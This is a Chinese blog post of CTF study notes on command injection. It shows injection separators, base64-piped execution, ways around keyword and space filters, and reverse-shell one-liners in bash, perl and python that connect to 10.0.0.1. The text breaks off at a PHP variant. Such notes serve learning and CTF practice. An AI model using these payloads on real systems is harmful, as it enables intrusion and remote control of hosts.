cmd echo写入shell_学习笔记-命令执行及花式bypass写shell

命令执行的坑其实早就想填了。最早是因为校赛时,easyphp一题自己因为不熟悉命令执行的一些特性导致套娃题绕到最后一层却没拿到flag。当时十分不爽,下定决心要好好了解下命令执行的相关知识点。

关于命令执行我大体上归为php绕过+rce两类。php的难点主要是在绕过写shell上,而linux的知识主要在RCE达成上。

先从简单说起:

linux 命令& RCE

rce,即remote command/code execute。通常都是渗透中希望能够利用的漏洞之一。因为我们可以以此进行命令执行,读取我们想要的文件或者反弹shell。

命令及关键字waf

简单的命令执行如DVWA靶场里的command injection 模块。它给了我们一个输入框,而它会将输入框的内容当做命令执行。

这样一来我们就可以用命令拼接来执行其他命令。

1.使用&& & ;直接多语句执行

127.0.0.1&&ls

127.0.0.1&ls

127.0.0.1; ls

2.高级一(亿)点的,使用管道符

127.0.0.1| ls

管道符的妙用不止这么一点了。比如CTF或实战渗透中都可能用到的

echo 'Y2F0Cg==' | base64 -d

只要用管道符可以bypass掉绝大部分关键字的waf。

实际利用之读flag.php

echo Y2F0IGZsYWcucGhw|base64 -d|bash

bash如果没有可以用sh

echo Y2F0IGZsYWcucGhw|base64 -d|sh

同时应对关键字waf,linux的特性还允许我们花式绕过

对空格

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字貌似都行

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

对关键字,如flag,cat,包括上面管道符在内也有很多方法。

cat fl* linux中*通配符匹配任意字数

echo xxxxxxx| base64 -d

ca\t fla\g

cat fl''ag

a=f;b=lag;cat $a$b

对命令函数cat的waf,寻找替代也是一种方法,毕竟读取文件函数很多。

head 读头几行

tail 读尾几行

tac 按行倒着读

more

less

nl

sort

......

如果要奇淫技巧,可以使用如cat `ls`

反引号在linux中作为内联执行。将直接输出结果。所以假如我们就在flag的目录下,这是完全可以直接耍的。

以上都是直接在webshell执行读取文件的基础上的。实际上有时候我们在实际渗透中需要的是反弹shell。包括有的题目也是需要shell来找flag的。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

这个网站总结了常见的反弹shell的方式。实际上总结下常见的几种反弹shell

1.bash

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

bash式的用到的非常多。然而还是会出现有的容器因为是docker起的而没有bash指令的问题,这种时候通常用sh替代。但是sh并不能反弹shell。所以这就涉及到其他的几种方法。

2.perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3.python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

选择python是个不错的替代方式,因为大部分linux机子上都装好了python。(比如题目环境是flask起的时候,肯定是有python了)

4.php

php -r '$so

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值